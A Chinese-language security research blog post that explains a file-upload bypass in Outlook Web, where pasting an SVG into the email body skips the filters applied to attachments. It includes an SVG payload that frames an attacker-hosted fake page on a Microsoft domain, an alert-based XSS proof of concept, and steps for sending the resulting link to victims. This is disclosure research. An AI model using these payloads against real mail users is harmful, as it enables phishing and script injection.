文件上传绕过新技术解析

本文详细介绍了在Outlook Web中发现的新型文件上传绕过技术,通过分析contentEditable特性与剪贴板操作的安全隐患,展示了如何利用SVG文件嵌入恶意代码实现XSS攻击,为安全研究人员提供了宝贵的技术参考。

文件上传绕过新技术

本文重点介绍文件上传绕过技术。

引言

在对Outlook Web进行安全研究期间,我遇到了一个异常行为,最终发现了一个安全漏洞。本文将详细说明我发现该问题的过程、分析方法及其产生原因。该漏洞目前正由微软处理,但发现和分析过程对其他安全研究人员具有参考价值。本文主要关注如何绕过文件上传限制。

漏洞发现过程

最初,我想测试Outlook Web如何处理不同类型的文件。于是,我创建了一个test.svg文件,并通过两种不同方式将其附加到电子邮件中:

第一种方法:附加文件(作为附件上传)

  • 将SVG文件作为附件上传时,微软会使其可供下载
  • 但在某些情况下,上传此类文件会被阻止

第二种方法:复制/粘贴(Ctrl+C, Ctrl+V)文件到邮件正文

在这种情况下,文件不是作为下载提供,而是直接显示在邮件正文中!

这意味着SVG内容被嵌入到电子邮件中,且未经过任何安全过滤,直接在接收方加载。

这种行为差异引起了我的注意,值得深入调查。

技术分析:为什么会发生这种情况?

contentEditable和designMode在Outlook Web中的作用

Outlook Web在邮件编辑区域使用contentEditable功能。此特性允许将HTML内容直接插入邮件正文。

当我附加SVG文件时,微软服务器会处理该文件并应用安全规则。

然而,当我复制粘贴SVG时,其内容作为HTML正文的一部分插入,且未应用任何安全过滤器!

这意味着微软仅对附加文件应用安全限制,但对粘贴内容未执行相同检查。

什么是contentEditable及其工作原理?

contentEditable是HTML中的一个属性,允许用户直接编辑任何HTML元素,类似于文本编辑器。

按下Ctrl+C和Ctrl+V时浏览器会发生什么?

步骤1:复制(Ctrl+C)

当您从计算机选择文件(如test.svg)并按Ctrl+C时:

  • 操作系统将文件放入剪贴板
  • 在Windows和macOS中,按下Ctrl+C时,与test.svg相关的数据存储在系统的剪贴板API中
  • 这些数据可以包括原始文件字节、元数据甚至其MIME类型(如图像/svg+xml)

剪贴板API保存信息:

  • 浏览器可以使用剪贴板API检查剪贴板内容
  • 根据数据类型,浏览器可能从剪贴板检索文本、图像甚至完整文件

步骤2:在Outlook Web中粘贴(Ctrl+V)

当您在邮件正文中按Ctrl+V时,会发生几个重要事件:

场景1:粘贴到contentEditable字段(Outlook Web) 由于Outlook Web使用contentEditable,浏览器会检查复制的数据:

  • 浏览器查询剪贴板API:“剪贴板中是否有文件或HTML内容?”
  • 如果有文件(如test.svg),浏览器检查是否允许将该文件类型直接粘贴到contentEditable字段
  • 由于SVG是基于文本的文件(基于XML),浏览器可能将其内容视为HTML文本而非文件

因此,浏览器将test.svg的内容直接插入邮件正文——就像用户粘贴了HTML代码段! 这正是允许SVG中的任何恶意代码被执行的原因!

如何利用此行为?

通过利用这种意外行为,我能够在SVG文件中嵌入代码,实现多种攻击类型。以下是两个示例:

a) SVG中的iframe

一个限制是它不会使用IP或HTTP加载地址,因此我必须购买域名并在以下地址托管虚假测试页面:https://yamikaza.com/fake.html

以下是嵌入的SVG代码:

1
2
3
4
5
6
7
<svg width="100vw" height="100vh">
    <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml" style="margin: 0; height: 100%;">
            <iframe src="https://yamikaza.com/fake.html" width="100%" height="100%" style="border: none;"></iframe>
        </body>
    </foreignObject>
</svg>

此代码导致虚假页面在attachment.outlook.live.net域内加载,对用户显示为官方Microsoft页面。

b) 在SVG中执行JavaScript(XSS)

1
2
3
4
5
6
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
  <rect width="124" height="124" rx="24" fill="#000000"/>
  <script type="text/javascript">
      alert(origin);
  </script>
</svg>

此代码证明可以在attachment.outlook.live.net域上执行JavaScript。虽然此域无法访问outlook.live.com的cookie,但仍可在此子域内运行JavaScript代码。

如何测试此攻击?

  1. 保存恶意SVG文件
  2. 使用Ctrl+C和Ctrl+V将其粘贴到邮件正文
  3. 发送电子邮件
  4. 右键单击图像并复制其URL
  5. 此链接由Outlook自动生成,可发送给受害者进行利用

结论

本研究展示了文件上传和内容粘贴之间的差异如何导致安全漏洞。安全研究人员应始终调查异常行为,因为即使是最小的差异也可能导致重大安全问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计